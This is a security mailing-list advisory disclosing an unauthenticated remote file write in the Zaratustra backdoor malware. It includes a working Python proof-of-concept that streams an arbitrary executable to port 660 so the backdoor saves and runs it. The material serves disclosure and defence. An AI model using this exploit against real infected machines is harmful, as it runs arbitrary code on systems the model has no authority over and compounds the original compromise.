full-disclosure - [FD] Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write (Remote Code Exec)

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Message-ID: <CAAHK0WQ9VTWw8KvRgXd1Mw-WFqh0_v6omj71Q_Z9OgPvNCEzQA@mail.gmail.com>
Date: Thu, 5 Aug 2021 17:23:58 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write
 (Remote Code Exec)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/f240c16af2189ea9c94f317281ce7e59.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zaratustra
Vulnerability: Unauthenticated Remote File Write (Remote Code Exec)
Description: Zaratustra malware listens on TCP port 660. Third-party
attackers who can reach infected systems can use a socket program to write
binary data to execute. The malware then writes that data to a file named
"x.exe" under c: drive and will execute upon completion of the downloaded
code.
Type: PE32
MD5: f240c16af2189ea9c94f317281ce7e59
Vuln ID: MVID-2021-0315
Dropped files: x.exe
Disclosure: 08/05/2021

Exploit/PoC:
from socket import *
import time
#Has to be done slowly or will crash the backdoor.
#Tested sucessfully with an 11.5 KB executable
#Compile #define WIN32_LEAN_AND_MEAN, linker strip executable etc.. try
make small as possible.

HOST = "x.x.x.x"
PORT = 660
BUF_SIZE = 32

s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

with open("DOOM.exe", "rb") as f:
    while True:
        bytez = f.read(BUF_SIZE)
        if not bytez:
            break
        s.send(bytez)
        time.sleep(0.5)

print(" Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write -
RCE")
print("MD5: f240c16af2189ea9c94f317281ce7e59")
print("By malvuln")

s.close()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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